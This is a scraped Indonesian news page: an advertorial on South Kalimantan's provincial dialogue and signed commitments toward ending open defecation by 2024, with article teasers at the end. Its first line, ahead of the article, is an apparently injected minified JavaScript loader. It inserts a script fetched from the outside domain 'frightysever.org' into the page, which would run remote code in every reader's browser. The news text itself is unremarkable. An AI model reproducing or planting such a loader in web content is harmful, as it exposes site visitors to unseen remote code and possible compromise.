(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Provinsi Kalimantan Selatan (Pemprov Kalsel) menggelar Dialog Membangun Komitmen Bersama Menuju Kalimantan Selatan Stop Buang Air Besar Sembarang (SBS) 2024 di Mahligai Pancasila, Banjarmasin, pada Selasa (22/10/2024).
Acara ini diadakan bekerjasama dengan Kementerian Kesehatan, Kementerian Dalam Negeri, Kementerian Bappenas, Kementerian PUPR, Pokja Sanitasi Total Berbasis Masyarakat (STBM), SINERGI, dan BerAKHLAK untuk mendorong kabupaten/kota di Kalsel untuk mencapai Open Defecation Free (ODF).
Acara dibuka dengan penandatanganan Komitmen Bersama Provinsi Kalsel Menuju Lima Pilar STBM Tahun 2030 oleh Wali Kota Banjarbaru, Nurliani, Pj Bupati Tapin Muhammad Syaifudin, dan Pj Bupati Tabalong Hamidan Munawarah, serta dilanjutkan dengan penandatanganan komitmen serupa oleh sejumlah kepala daerah di Kalsel, termasuk Wali Kota Banjarmasin Ibnu Sina dan Pj Bupati Barito Kuala Dinansyah.
Dialog yang dipandu oleh Direktur Speak Indonesia, Wiwit Haris Mandari, ini menghadirkan 10 narasumber dari pemerintah kabupaten/kota se-Kalsel dan dibuka oleh Staf Ahli Gubernur Kalsel, Husnul Hatimah, mewakili Gubernur H. Sahbirin Noor.
Gubernur Kalsel dalam sambutan tertulisnya menyampaikan terima kasih kepada pemerintah pusat atas dukungannya dalam mewujudkan perilaku hidup bersih dan sehat melalui program SBS yang masih menjadi tantangan besar di Kalsel. Ia menekankan pentingnya akses sanitasi yang layak untuk mencegah penyakit berbasis air serta meningkatkan kualitas hidup masyarakat. Gubernur juga mengapresiasi kabupaten/kota yang telah mencapai target 100% bebas buang air besar sembarangan, seperti Tabalong dan Banjarbaru, yang menjadi contoh inspiratif bagi daerah lainnya.
“Masalah sanitasi, terutama kebiasaan buang air besar sembarangan, adalah tantangan kompleks yang memerlukan solusi komprehensif. Dengan menyediakan akses sanitasi yang layak, kita tidak hanya mencegah penyebaran penyakit, tetapi juga meningkatkan kualitas hidup dan pertumbuhan ekonomi,” ujar Gubernur Kalsel.
Pemprov Kalsel, lanjutnya, telah menjalankan berbagai program penyediaan sanitasi sesuai kebijakan pemerintah pusat dan RPJMD 2019-2024. Meskipun demikian, masih ada 688 desa/kelurahan di Kalsel yang belum bebas dari praktik BABS, dengan capaian keseluruhan mencapai 65,74%.
Selain itu, Direktur Penyehatan Lingkungan, Kementerian Kesehatan, Anas Ma’ruf, menegaskan bahwa komitmen para kepala daerah untuk menciptakan lingkungan yang sehat dan bebas BABS adalah kunci utama dalam mewujudkan target 100% ODF pada tahun 2024, sesuai dengan RPJMN.
Plh Kadis Kesehatan Kalsel, Nurul Adhani, menambahkan bahwa pencapaian ini memang memerlukan waktu dan komitmen yang kuat dari pemerintah daerah untuk mengubah perilaku masyarakat. Ia berharap forum ini bisa menjadi titik awal untuk mempercepat pencapaian target SBS di Kalsel.
Dengan komitmen bersama ini, diharapkan seluruh kabupaten/kota di Kalsel dapat bersinergi untuk mewujudkan Kalimantan Selatan bebas buang air besar sembarangan pada 2024, sebagai upaya untuk meningkatkan kesehatan masyarakat dan mendukung pembangunan berkelanjutan.(www.kanalkalimantan.com/adv)
Reporter: adv
Editor: rdy
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.